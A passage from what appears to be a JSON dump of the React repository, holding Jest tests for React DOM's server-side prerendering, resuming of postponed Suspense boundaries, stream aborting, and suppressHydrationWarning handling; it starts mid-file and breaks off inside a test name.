expect(getVisibleChildren(container)).toEqual(<div>hello</div>);\n  });\n\n  it('can resume render of a prerender', async () => {\n    const errors = [];\n\n    let resolveA;\n    const promiseA = new Promise(r => (resolveA = r));\n    let resolveB;\n    const promiseB = new Promise(r => (resolveB = r));\n\n    async function ComponentA() {\n      await promiseA;\n      return (\n        <Suspense fallback=\"Loading B\">\n          <ComponentB />\n        </Suspense>\n      );\n    }\n\n    async function ComponentB() {\n      await promiseB;\n      return 'Hello';\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"Loading A\">\n            <ComponentA />\n          </Suspense>\n        </div>\n      );\n    }\n\n    const controller = new AbortController();\n    let pendingResult;\n    await serverAct(async () => {\n      pendingResult = ReactDOMFizzStatic.prerender(<App />, {\n        signal: controller.signal,\n        onError(x) {\n          errors.push(x.message);\n        },\n      });\n    });\n\n    controller.abort();\n    const prerendered = await pendingResult;\n    const postponedState = JSON.stringify(prerendered.postponed);\n\n    await readIntoContainer(prerendered.prelude);\n    expect(getVisibleChildren(container)).toEqual(<div>Loading A</div>);\n\n    await resolveA();\n\n    expect(prerendered.postponed).not.toBe(null);\n\n    const controller2 = new AbortController();\n    await serverAct(async () => {\n      pendingResult = ReactDOMFizzStatic.resumeAndPrerender(\n        <App />,\n        JSON.parse(postponedState),\n        {\n          signal: controller2.signal,\n          onError(x) {\n            errors.push(x.message);\n          },\n        },\n      );\n    });\n\n    controller2.abort();\n\n    const prerendered2 = await pendingResult;\n    const postponedState2 = JSON.stringify(prerendered2.postponed);\n\n    await readIntoContainer(prerendered2.prelude);\n    expect(getVisibleChildren(container)).toEqual(<div>Loading B</div>);\n\n    await resolveB();\n\n    const dynamic = await serverAct(() =>\n      ReactDOMFizzServer.resume(<App />, JSON.parse(postponedState2)),\n    );\n\n    await readIntoContainer(dynamic);\n    expect(getVisibleChildren(container)).toEqual(<div>Hello</div>);\n  });\n\n  it('can prerender a preamble', async () => {\n    const errors = [];\n\n    let resolveA;\n    const promiseA = new Promise(r => (resolveA = r));\n    let resolveB;\n    const promiseB = new Promise(r => (resolveB = r));\n\n    async function ComponentA() {\n      await promiseA;\n      return (\n        <Suspense fallback=\"Loading B\">\n          <ComponentB />\n        </Suspense>\n      );\n    }\n\n    async function ComponentB() {\n      await promiseB;\n      return 'Hello';\n    }\n\n    function App() {\n      return (\n        <Suspense>\n          <html data-x=\"\">\n            <body data-x=\"\">\n              <Suspense fallback=\"Loading A\">\n                <ComponentA />\n              </Suspense>\n            </body>\n          </html>\n        </Suspense>\n      );\n    }\n\n    const controller = new AbortController();\n    let pendingResult;\n    await serverAct(async () => {\n      pendingResult = ReactDOMFizzStatic.prerender(<App />, {\n        signal: controller.signal,\n        onError(x) {\n          errors.push(x.message);\n        },\n      });\n    });\n\n    controller.abort();\n\n    const prerendered = await pendingResult;\n    const postponedState = JSON.stringify(prerendered.postponed);\n\n    await readIntoNewDocument(prerendered.prelude);\n    expect(getVisibleChildren(document)).toEqual(\n      <html data-x=\"\">\n        <head />\n        <body data-x=\"\">Loading A</body>\n      </html>,\n    );\n\n    await resolveA();\n\n    expect(prerendered.postponed).not.toBe(null);\n\n    const controller2 = new AbortController();\n    await serverAct(async () => {\n      pendingResult = ReactDOMFizzStatic.resumeAndPrerender(\n        <App />,\n        JSON.parse(postponedState),\n        {\n          signal: controller2.signal,\n          onError(x) {\n            errors.push(x.message);\n          },\n        },\n      );\n    });\n\n    controller2.abort();\n\n    const prerendered2 = await pendingResult;\n    const postponedState2 = JSON.stringify(prerendered2.postponed);\n\n    await readIntoCurrentDocument(prerendered2.prelude);\n    expect(getVisibleChildren(document)).toEqual(\n      <html data-x=\"\">\n        <head />\n        <body data-x=\"\">Loading B</body>\n      </html>,\n    );\n\n    await resolveB();\n\n    const dynamic = await serverAct(() =>\n      ReactDOMFizzServer.resume(<App />, JSON.parse(postponedState2)),\n    );\n\n    await readIntoCurrentDocument(dynamic);\n    expect(getVisibleChildren(document)).toEqual(\n      <html data-x=\"\">\n        <head />\n        <body data-x=\"\">Hello</body>\n      </html>,\n    );\n  });\n\n  it('can suspend inside <head> tag', async () => {\n    const promise = new Promise(() => {});\n\n    function App() {\n      return (\n        <html>\n          <head>\n            <Suspense fallback={<meta itemProp=\"\" content=\"fallback\" />}>\n              <Metadata />\n            </Suspense>\n          </head>\n          <body>\n            <div>hello</div>\n          </body>\n        </html>\n      );\n    }\n\n    function Metadata() {\n      React.use(promise);\n      return <meta itemProp=\"\" content=\"primary\" />;\n    }\n\n    const controller = new AbortController();\n    let pendingResult;\n    const errors = [];\n    await serverAct(() => {\n      pendingResult = ReactDOMFizzStatic.prerender(<App />, {\n        signal: controller.signal,\n        onError: e => {\n          errors.push(e.message);\n        },\n      });\n    });\n\n    controller.abort(new Error('boom'));\n\n    const prerendered = await pendingResult;\n\n    await readIntoNewDocument(prerendered.prelude);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head>\n          <meta itemprop=\"\" content=\"fallback\" />\n        </head>\n        <body>\n          <div>hello</div>\n        </body>\n      </html>,\n    );\n\n    expect(errors).toEqual(['boom']);\n  });\n\n  it('will render fallback Document when erroring a boundary above the body', async () => {\n    let isPrerendering = true;\n    const promise = new Promise(() => {});\n\n    function Boom() {\n      if (isPrerendering) {\n        React.use(promise);\n      }\n      throw new Error('Boom!');\n    }\n\n    function App() {\n      return (\n        <Suspense\n          fallback={\n            <html data-error-html=\"\">\n              <body data-error-body=\"\">\n                <span>hello error</span>\n              </body>\n            </html>\n          }>\n          <html data-content-html=\"\">\n            <body data-content-body=\"\">\n              <Boom />\n              <span>hello world</span>\n            </body>\n          </html>\n        </Suspense>\n      );\n    }\n\n    const controller = new AbortController();\n    let pendingResult;\n    const errors = [];\n    await serverAct(() => {\n      pendingResult = ReactDOMFizzStatic.prerender(<App />, {\n        signal: controller.signal,\n        onError: e => {\n          errors.push(e.message);\n        },\n      });\n    });\n\n    controller.abort();\n\n    const prerendered = await pendingResult;\n\n    expect(errors).toEqual(['This operation was aborted']);\n    const content = await readContent(prerendered.prelude);\n    expect(content).toBe('');\n\n    isPrerendering = false;\n    const postponedState = JSON.stringify(prerendered.postponed);\n\n    const resumeErrors = [];\n    const dynamic = await serverAct(() =>\n      ReactDOMFizzServer.resume(<App />, JSON.parse(postponedState), {\n        onError: e => {\n          resumeErrors.push(e.message);\n        },\n      }),\n    );\n\n    expect(resumeErrors).toEqual(['Boom!']);\n    await readIntoNewDocument(dynamic);\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html data-error-html=\"\">\n        <head />\n        <body data-error-body=\"\">\n          <span>hello error</span>\n        </body>\n      </html>,\n    );\n  });\n\n  it('can omit a preamble with an empty shell if no preamble is ready when prerendering finishes', async () => {\n    const errors = [];\n\n    let resolveA;\n    const promiseA = new Promise(r => (resolveA = r));\n    let resolveB;\n    const promiseB = new Promise(r => (resolveB = r));\n\n    async function ComponentA() {\n      await promiseA;\n      return (\n        <Suspense fallback=\"Loading B\">\n          <ComponentB />\n        </Suspense>\n      );\n    }\n\n    async function ComponentB() {\n      await promiseB;\n      return 'Hello';\n    }\n\n    function App() {\n      return (\n        <Suspense>\n          <html data-x=\"\">\n            <body data-x=\"\">\n              <ComponentA />\n            </body>\n          </html>\n        </Suspense>\n      );\n    }\n\n    const controller = new AbortController();\n    let pendingResult;\n    await serverAct(async () => {\n      pendingResult = ReactDOMFizzStatic.prerender(<App />, {\n        signal: controller.signal,\n        onError(x) {\n          errors.push(x.message);\n        },\n      });\n    });\n\n    controller.abort();\n\n    const prerendered = await pendingResult;\n    const postponedState = JSON.stringify(prerendered.postponed);\n\n    const content = await readContent(prerendered.prelude);\n    expect(content).toBe('');\n\n    await resolveA();\n\n    expect(prerendered.postponed).not.toBe(null);\n\n    const controller2 = new AbortController();\n    await serverAct(async () => {\n      pendingResult = ReactDOMFizzStatic.resumeAndPrerender(\n        <App />,\n        JSON.parse(postponedState),\n        {\n          signal: controller2.signal,\n          onError(x) {\n            errors.push(x.message);\n          },\n        },\n      );\n    });\n\n    controller2.abort();\n\n    const prerendered2 = await pendingResult;\n    const postponedState2 = JSON.stringify(prerendered2.postponed);\n\n    await readIntoNewDocument(prerendered2.prelude);\n    expect(getVisibleChildren(document)).toEqual(\n      <html data-x=\"\">\n        <head />\n        <body data-x=\"\">Loading B</body>\n      </html>,\n    );\n\n    await resolveB();\n\n    const dynamic = await serverAct(() =>\n      ReactDOMFizzServer.resume(<App />, JSON.parse(postponedState2)),\n    );\n\n    await readIntoCurrentDocument(dynamic);\n    expect(getVisibleChildren(document)).toEqual(\n      <html data-x=\"\">\n        <head />\n        <body data-x=\"\">Hello</body>\n      </html>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('can resume a partially prerendered SuspenseList', async () => {\n    const errors = [];\n\n    let resolveA;\n    const promiseA = new Promise(r => (resolveA = r));\n    let resolveB;\n    const promiseB = new Promise(r => (resolveB = r));\n\n    async function ComponentA() {\n      await promiseA;\n      return 'A';\n    }\n\n    async function ComponentB() {\n      await promiseB;\n      return 'B';\n    }\n\n    function App() {\n      return (\n        <div>\n          <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n            <Suspense fallback=\"Loading A\">\n              <ComponentA />\n            </Suspense>\n            <Suspense fallback=\"Loading B\">\n              <ComponentB />\n            </Suspense>\n            <Suspense fallback=\"Loading C\">C</Suspense>\n            <Suspense fallback=\"Loading D\">D</Suspense>\n          </SuspenseList>\n        </div>\n      );\n    }\n\n    const controller = new AbortController();\n    const pendingResult = serverAct(() =>\n      ReactDOMFizzStatic.prerender(<App />, {\n        signal: controller.signal,\n        onError(x) {\n          errors.push(x.message);\n        },\n      }),\n    );\n\n    await serverAct(() => {\n      controller.abort();\n    });\n\n    const prerendered = await pendingResult;\n\n    const postponedState = JSON.stringify(prerendered.postponed);\n\n    await readIntoContainer(prerendered.prelude);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        {'Loading A'}\n        {'Loading B'}\n        {'Loading C'}\n        {'Loading D'}\n      </div>,\n    );\n\n    expect(prerendered.postponed).not.toBe(null);\n\n    await resolveA();\n    await resolveB();\n\n    const dynamic = await serverAct(() =>\n      ReactDOMFizzServer.resume(<App />, JSON.parse(postponedState)),\n    );\n\n    await readIntoContainer(dynamic);\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        {'A'}\n        {'B'}\n        {'C'}\n        {'D'}\n      </div>,\n    );\n  });\n\n  // @gate enableOptimisticKey\n  it('can resume an optimistic keyed slot', async () => {\n    const errors = [];\n\n    let resolve;\n    const promise = new Promise(r => (resolve = r));\n\n    async function Component() {\n      await promise;\n      return 'Hi';\n    }\n\n    if (React.optimisticKey === undefined) {\n      throw new Error('optimisticKey missing');\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"Loading\">\n            <Component key={React.optimisticKey} />\n          </Suspense>\n        </div>\n      );\n    }\n\n    const controller = new AbortController();\n    const pendingResult = serverAct(() =>\n      ReactDOMFizzStatic.prerender(<App />, {\n        signal: controller.signal,\n        onError(x) {\n          errors.push(x.message);\n        },\n      }),\n    );\n\n    await serverAct(() => {\n      controller.abort();\n    });\n\n    const prerendered = await pendingResult;\n\n    const postponedState = JSON.stringify(prerendered.postponed);\n\n    await readIntoContainer(prerendered.prelude);\n    expect(getVisibleChildren(container)).toEqual(<div>Loading</div>);\n\n    expect(prerendered.postponed).not.toBe(null);\n\n    await resolve();\n\n    const dynamic = await serverAct(() =>\n      ReactDOMFizzServer.resume(<App />, JSON.parse(postponedState)),\n    );\n\n    await readIntoContainer(dynamic);\n\n    expect(getVisibleChildren(container)).toEqual(<div>Hi</div>);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMFizzStaticNode-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMFizzStatic;\nlet Suspense;\n\ndescribe('ReactDOMFizzStaticNode', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMFizzStatic = require('react-dom/static');\n    Suspense = React.Suspense;\n  });\n\n  const theError = new Error('This is an error');\n  function Throw() {\n    throw theError;\n  }\n  const theInfinitePromise = new Promise(() => {});\n  function InfiniteSuspend() {\n    throw theInfinitePromise;\n  }\n\n  function readContent(readable) {\n    return new Promise((resolve, reject) => {\n      let content = '';\n      readable.on('data', chunk => {\n        content += Buffer.from(chunk).toString('utf8');\n      });\n      readable.on('error', error => {\n        reject(error);\n      });\n      readable.on('end', () => resolve(content));\n    });\n  }\n\n  async function readContentWeb(stream) {\n    const reader = stream.getReader();\n    let content = '';\n    while (true) {\n      const {done, value} = await reader.read();\n      if (done) {\n        return content;\n      }\n      content += Buffer.from(value).toString('utf8');\n    }\n  }\n\n  it('should call prerenderToNodeStream', async () => {\n    const result = await ReactDOMFizzStatic.prerenderToNodeStream(\n      <div>hello world</div>,\n    );\n    const prelude = await readContent(result.prelude);\n    expect(prelude).toMatchInlineSnapshot(`\"<div>hello world</div>\"`);\n  });\n\n  it('should suppport web streams', async () => {\n    const result = await ReactDOMFizzStatic.prerender(<div>hello world</div>);\n    const prelude = await readContentWeb(result.prelude);\n    expect(prelude).toMatchInlineSnapshot(`\"<div>hello world</div>\"`);\n  });\n\n  it('should emit DOCTYPE at the root of the document', async () => {\n    const result = await ReactDOMFizzStatic.prerenderToNodeStream(\n      <html>\n        <body>hello world</body>\n      </html>,\n    );\n    const prelude = await readContent(result.prelude);\n    if (gate(flags => flags.enableFizzBlockingRender)) {\n      expect(prelude).toMatchInlineSnapshot(\n        `\"<!DOCTYPE html><html><head><link rel=\"expect\" href=\"#_R_\" blocking=\"render\"/></head><body>hello world<template id=\"_R_\"></template></body></html>\"`,\n      );\n    } else {\n      expect(prelude).toMatchInlineSnapshot(\n        `\"<!DOCTYPE html><html><head></head><body>hello world</body></html>\"`,\n      );\n    }\n  });\n\n  it('should emit bootstrap script src at the end', async () => {\n    const result = await ReactDOMFizzStatic.prerenderToNodeStream(\n      <div>hello world</div>,\n      {\n        bootstrapScriptContent: 'INIT();',\n        bootstrapScripts: ['init.js'],\n        bootstrapModules: ['init.mjs'],\n      },\n    );\n    const prelude = await readContent(result.prelude);\n    expect(prelude).toMatchInlineSnapshot(\n      `\"<link rel=\"preload\" as=\"script\" fetchPriority=\"low\" href=\"init.js\"/><link rel=\"modulepreload\" fetchPriority=\"low\" href=\"init.mjs\"/><div>hello world</div><script id=\"_R_\">INIT();</script><script src=\"init.js\" async=\"\"></script><script type=\"module\" src=\"init.mjs\" async=\"\"></script>\"`,\n    );\n  });\n\n  it('emits all HTML as one unit', async () => {\n    let hasLoaded = false;\n    let resolve;\n    const promise = new Promise(r => (resolve = r));\n    function Wait() {\n      if (!hasLoaded) {\n        throw promise;\n      }\n      return 'Done';\n    }\n    const resultPromise = ReactDOMFizzStatic.prerenderToNodeStream(\n      <div>\n        <Suspense fallback=\"Loading\">\n          <Wait />\n        </Suspense>\n      </div>,\n    );\n\n    await jest.runAllTimers();\n\n    // Resolve the loading.\n    hasLoaded = true;\n    await resolve();\n\n    const result = await resultPromise;\n    const prelude = await readContent(result.prelude);\n    expect(prelude).toMatchInlineSnapshot(`\"<div><!--$-->Done<!--/$--></div>\"`);\n  });\n\n  it('should reject the promise when an error is thrown at the root', async () => {\n    const reportedErrors = [];\n    let caughtError = null;\n    try {\n      await ReactDOMFizzStatic.prerenderToNodeStream(\n        <div>\n          <Throw />\n        </div>,\n        {\n          onError(x) {\n            reportedErrors.push(x);\n          },\n        },\n      );\n    } catch (error) {\n      caughtError = error;\n    }\n    expect(caughtError).toBe(theError);\n    expect(reportedErrors).toEqual([theError]);\n  });\n\n  it('should reject the promise when an error is thrown inside a fallback', async () => {\n    const reportedErrors = [];\n    let caughtError = null;\n    try {\n      await ReactDOMFizzStatic.prerenderToNodeStream(\n        <div>\n          <Suspense fallback={<Throw />}>\n            <InfiniteSuspend />\n          </Suspense>\n        </div>,\n        {\n          onError(x) {\n            reportedErrors.push(x);\n          },\n        },\n      );\n    } catch (error) {\n      caughtError = error;\n    }\n    expect(caughtError).toBe(theError);\n    expect(reportedErrors).toEqual([theError]);\n  });\n\n  it('should not error the stream when an error is thrown inside suspense boundary', async () => {\n    const reportedErrors = [];\n    const result = await ReactDOMFizzStatic.prerenderToNodeStream(\n      <div>\n        <Suspense fallback={<div>Loading</div>}>\n          <Throw />\n        </Suspense>\n      </div>,\n      {\n        onError(x) {\n          reportedErrors.push(x);\n        },\n      },\n    );\n\n    const prelude = await readContent(result.prelude);\n    expect(prelude).toContain('Loading');\n    expect(reportedErrors).toEqual([theError]);\n  });\n\n  it('should be able to complete by aborting even if the promise never resolves', async () => {\n    const errors = [];\n    const controller = new AbortController();\n    const resultPromise = ReactDOMFizzStatic.prerenderToNodeStream(\n      <div>\n        <Suspense fallback={<div>Loading</div>}>\n          <InfiniteSuspend />\n        </Suspense>\n      </div>,\n      {\n        signal: controller.signal,\n        onError(x) {\n          errors.push(x.message);\n        },\n      },\n    );\n\n    await jest.runAllTimers();\n\n    controller.abort();\n\n    const result = await resultPromise;\n\n    const prelude = await readContent(result.prelude);\n    expect(prelude).toContain('Loading');\n\n    expect(errors).toEqual(['This operation was aborted']);\n  });\n\n  it('should resolve an empty shell if aborting before the shell is complete', async () => {\n    const errors = [];\n    const controller = new AbortController();\n    const promise = ReactDOMFizzStatic.prerenderToNodeStream(\n      <div>\n        <InfiniteSuspend />\n      </div>,\n      {\n        signal: controller.signal,\n        onError(x) {\n          errors.push(x.message);\n        },\n      },\n    );\n\n    await jest.runAllTimers();\n\n    const theReason = new Error('aborted for reasons');\n    controller.abort(theReason);\n\n    let didThrow = false;\n    let prelude;\n    try {\n      ({prelude} = await promise);\n    } catch (error) {\n      didThrow = true;\n    }\n    expect(didThrow).toBe(false);\n    expect(errors).toEqual(['aborted for reasons']);\n    const content = await readContent(prelude);\n    expect(content).toBe('');\n  });\n\n  it('should be able to abort before something suspends', async () => {\n    const errors = [];\n    const controller = new AbortController();\n    function App() {\n      controller.abort();\n      return (\n        <Suspense fallback={<div>Loading</div>}>\n          <InfiniteSuspend />\n        </Suspense>\n      );\n    }\n    const streamPromise = ReactDOMFizzStatic.prerenderToNodeStream(\n      <div>\n        <App />\n      </div>,\n      {\n        signal: controller.signal,\n        onError(x) {\n          errors.push(x.message);\n        },\n      },\n    );\n\n    const {prelude} = await streamPromise;\n    const content = await readContent(prelude);\n    expect(errors).toEqual(['This operation was aborted']);\n    expect(content).toBe('');\n  });\n\n  it('should resolve with an empty prelude if passing an already aborted signal', async () => {\n    const errors = [];\n    const controller = new AbortController();\n    const theReason = new Error('aborted for reasons');\n    controller.abort(theReason);\n\n    const promise = ReactDOMFizzStatic.prerenderToNodeStream(\n      <div>\n        <Suspense fallback={<div>Loading</div>}>\n          <InfiniteSuspend />\n        </Suspense>\n      </div>,\n      {\n        signal: controller.signal,\n        onError(x) {\n          errors.push(x.message);\n        },\n      },\n    );\n\n    // Technically we could still continue rendering the shell but currently the\n    // semantics mean that we also abort any pending CPU work.\n\n    let didThrow = false;\n    let prelude;\n    try {\n      ({prelude} = await promise);\n    } catch (error) {\n      didThrow = true;\n    }\n    expect(didThrow).toBe(false);\n    expect(errors).toEqual(['aborted for reasons']);\n    const content = await readContent(prelude);\n    expect(content).toBe('');\n  });\n\n  it('supports custom abort reasons with a string', async () => {\n    const promise = new Promise(r => {});\n    function Wait() {\n      throw promise;\n    }\n    function App() {\n      return (\n        <div>\n          <p>\n            <Suspense fallback={'p'}>\n              <Wait />\n            </Suspense>\n          </p>\n          <span>\n            <Suspense fallback={'span'}>\n              <Wait />\n            </Suspense>\n          </span>\n        </div>\n      );\n    }\n\n    const errors = [];\n    const controller = new AbortController();\n    const resultPromise = ReactDOMFizzStatic.prerenderToNodeStream(<App />, {\n      signal: controller.signal,\n      onError(x) {\n        errors.push(x);\n        return 'a digest';\n      },\n    });\n\n    await jest.runAllTimers();\n\n    controller.abort('foobar');\n\n    await resultPromise;\n\n    expect(errors).toEqual(['foobar', 'foobar']);\n  });\n\n  it('supports custom abort reasons with an Error', async () => {\n    const promise = new Promise(r => {});\n    function Wait() {\n      throw promise;\n    }\n    function App() {\n      return (\n        <div>\n          <p>\n            <Suspense fallback={'p'}>\n              <Wait />\n            </Suspense>\n          </p>\n          <span>\n            <Suspense fallback={'span'}>\n              <Wait />\n            </Suspense>\n          </span>\n        </div>\n      );\n    }\n\n    const errors = [];\n    const controller = new AbortController();\n    const resultPromise = ReactDOMFizzStatic.prerenderToNodeStream(<App />, {\n      signal: controller.signal,\n      onError(x) {\n        errors.push(x.message);\n        return 'a digest';\n      },\n    });\n\n    await jest.runAllTimers();\n\n    controller.abort(new Error('uh oh'));\n\n    await resultPromise;\n\n    expect(errors).toEqual(['uh oh', 'uh oh']);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMFizzSuppressHydrationWarning-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nlet JSDOM;\nlet Stream;\nlet Scheduler;\nlet React;\nlet ReactDOMClient;\nlet ReactDOMFizzServer;\nlet document;\nlet writable;\nlet container;\nlet buffer = '';\nlet hasErrored = false;\nlet fatalError = undefined;\nlet waitForAll;\n\nfunction normalizeError(msg) {\n  // Take the first sentence to make it easier to assert on.\n  const idx = msg.indexOf('.');\n  if (idx > -1) {\n    return msg.slice(0, idx + 1);\n  }\n  return msg;\n}\n\ndescribe('ReactDOMFizzServerHydrationWarning', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    JSDOM = require('jsdom').JSDOM;\n    Scheduler = require('scheduler');\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMFizzServer = require('react-dom/server');\n    Stream = require('stream');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n\n    // Test Environment\n    const jsdom = new JSDOM(\n      '<!DOCTYPE html><html><head></head><body><div id=\"container\">',\n      {\n        runScripts: 'dangerously',\n      },\n    );\n    document = jsdom.window.document;\n    container = document.getElementById('container');\n\n    buffer = '';\n    hasErrored = false;\n\n    writable = new Stream.PassThrough();\n    writable.setEncoding('utf8');\n    writable.on('data', chunk => {\n      buffer += chunk;\n    });\n    writable.on('error', error => {\n      hasErrored = true;\n      fatalError = error;\n    });\n  });\n\n  async function act(callback) {\n    await callback();\n    // Await one turn around the event loop.\n    // This assumes that we'll flush everything we have so far.\n    await new Promise(resolve => {\n      setImmediate(resolve);\n    });\n    if (hasErrored) {\n      throw fatalError;\n    }\n    // JSDOM doesn't support stream HTML parser so we need to give it a proper fragment.\n    // We also want to execute any scripts that are embedded.\n    // We assume that we have now received a proper fragment of HTML.\n    const bufferedContent = buffer;\n    buffer = '';\n    const fakeBody = document.createElement('body');\n    fakeBody.innerHTML = bufferedContent;\n    while (fakeBody.firstChild) {\n      const node = fakeBody.firstChild;\n      if (node.nodeName === 'SCRIPT') {\n        const script = document.createElement('script');\n        script.textContent = node.textContent;\n        fakeBody.removeChild(node);\n        container.appendChild(script);\n      } else {\n        container.appendChild(node);\n      }\n    }\n  }\n\n  function getVisibleChildren(element) {\n    const children = [];\n    let node = element.firstChild;\n    while (node) {\n      if (node.nodeType === 1) {\n        if (\n          node.tagName !== 'SCRIPT' &&\n          node.tagName !== 'TEMPLATE' &&\n          node.tagName !== 'template' &&\n          !node.hasAttribute('hidden') &&\n          !node.hasAttribute('aria-hidden')\n        ) {\n          const props = {};\n          const attributes = node.attributes;\n          for (let i = 0; i < attributes.length; i++) {\n            if (\n              attributes[i].name === 'id' &&\n              attributes[i].value.includes(':')\n            ) {\n              // We assume this is a React added ID that's a non-visual implementation detail.\n              continue;\n            }\n            props[attributes[i].name] = attributes[i].value;\n          }\n          props.children = getVisibleChildren(node);\n          children.push(React.createElement(node.tagName.toLowerCase(), props));\n        }\n      } else if (node.nodeType === 3) {\n        children.push(node.data);\n      }\n      node = node.nextSibling;\n    }\n    return children.length === 0\n      ? undefined\n      : children.length === 1\n        ? children[0]\n        : children;\n  }\n\n  it('suppresses but does not fix text mismatches with suppressHydrationWarning', async () => {\n    function App({isClient}) {\n      return (\n        <div>\n          <span suppressHydrationWarning={true}>\n            {isClient ? 'Client Text' : 'Server Text'}\n          </span>\n          <span suppressHydrationWarning={true}>{isClient ? 2 : 1}</span>\n        </div>\n      );\n    }\n    await act(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <App isClient={false} />,\n      );\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Server Text</span>\n        <span>1</span>\n      </div>,\n    );\n    ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n      onRecoverableError(error) {\n        // Don't miss a hydration error. There should be none.\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([]);\n    // The text mismatch should be *silently* fixed. Even in production.\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Server Text</span>\n        <span>1</span>\n      </div>,\n    );\n  });\n\n  it('suppresses but does not fix multiple text node mismatches with suppressHydrationWarning', async () => {\n    function App({isClient}) {\n      return (\n        <div>\n          <span suppressHydrationWarning={true}>\n            {isClient ? 'Client1' : 'Server1'}\n            {isClient ? 'Client2' : 'Server2'}\n          </span>\n        </div>\n      );\n    }\n    await act(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <App isClient={false} />,\n      );\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>\n          {'Server1'}\n          {'Server2'}\n        </span>\n      </div>,\n    );\n    ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>\n          {'Server1'}\n          {'Server2'}\n        </span>\n      </div>,\n    );\n  });\n\n  it('errors on text-to-element mismatches with suppressHydrationWarning', async () => {\n    function App({isClient}) {\n      return (\n        <div>\n          <span suppressHydrationWarning={true}>\n            Hello, {isClient ? <span>Client</span> : 'Server'}!\n          </span>\n        </div>\n      );\n    }\n    await act(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <App isClient={false} />,\n      );\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>\n          {'Hello, '}\n          {'Server'}\n          {'!'}\n        </span>\n      </div>,\n    );\n    ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>\n          Hello, <span>Client</span>!\n        </span>\n      </div>,\n    );\n  });\n\n  it('suppresses but does not fix client-only single text node mismatches with suppressHydrationWarning', async () => {\n    function App({text}) {\n      return (\n        <div>\n          <span suppressHydrationWarning={true}>{text}</span>\n        </div>\n      );\n    }\n    await act(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <App text={null} />,\n      );\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span />\n      </div>,\n    );\n    const root = ReactDOMClient.hydrateRoot(container, <App text=\"Client\" />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span />\n      </div>,\n    );\n    // An update fixes it though.\n    root.render(<App text=\"Client 2\" />);\n    await waitForAll([]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Client 2</span>\n      </div>,\n    );\n  });\n\n  // TODO: This behavior is not consistent with client-only single text node.\n\n  it('errors on server-only single text node mismatches with suppressHydrationWarning', async () => {\n    function App({isClient}) {\n      return (\n        <div>\n          <span suppressHydrationWarning={true}>\n            {isClient ? null : 'Server'}\n          </span>\n        </div>\n      );\n    }\n    await act(() => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <App isClient={false} />,\n      );\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Server</span>\n      </div>,\n    );\n    ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span />\n      </div>,\n    );\n  });\n\n  it('errors on client-only extra text node mismatches with 